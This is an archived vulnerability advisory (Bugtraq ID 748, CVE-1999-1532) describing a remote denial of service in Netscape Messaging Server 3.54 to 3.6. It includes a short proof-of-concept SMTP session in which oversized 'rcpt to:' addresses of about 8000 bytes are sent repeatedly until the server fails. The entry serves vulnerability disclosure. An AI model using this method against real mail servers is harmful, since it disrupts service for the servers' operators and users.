Netscape Messaging Server RCPT TO DoS Vulnerability

BID:748

Info

Netscape Messaging Server RCPT TO DoS Vulnerability

Bugtraq ID: 748
Class: Input Validation Error
CVE: CVE-1999-1532
Remote: Yes
Local: Yes
Published: Oct 29 1999 12:00AM
Updated: Jul 11 2009 12:56AM
Credit: Posted to Bugtraq October 29 by Nobuo Miwa <[email protected]>.
Vulnerable: Netscape Messaging Server 3.55
Netscape Messaging Server 3.54
Netscape Messaging Server 3.6
Not Vulnerable:

Exploit / POC

Netscape Messaging Server RCPT TO DoS Vulnerability

Example and exploit by Nobuo Miwa &lt;[email protected]&gt;

220 victim.workgroup ESMTP server (Netscape Messaging Server -
Version 3.62) ready Thu, 28 Oct 1999 12:13:17 +0900
helo rcpt2
250 victim.workgroup
mail from : rcpt2
250 Sender &lt;rcpt2&gt; Ok
rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
250 Recipient &lt;rcpt2@aaaaaaaaaaaa....
rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
250 Recipient &lt;rcpt2@aaaaaaaaaaaa....

Repeat until DoS

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Netscape Messaging Server RCPT TO DoS Vulnerability

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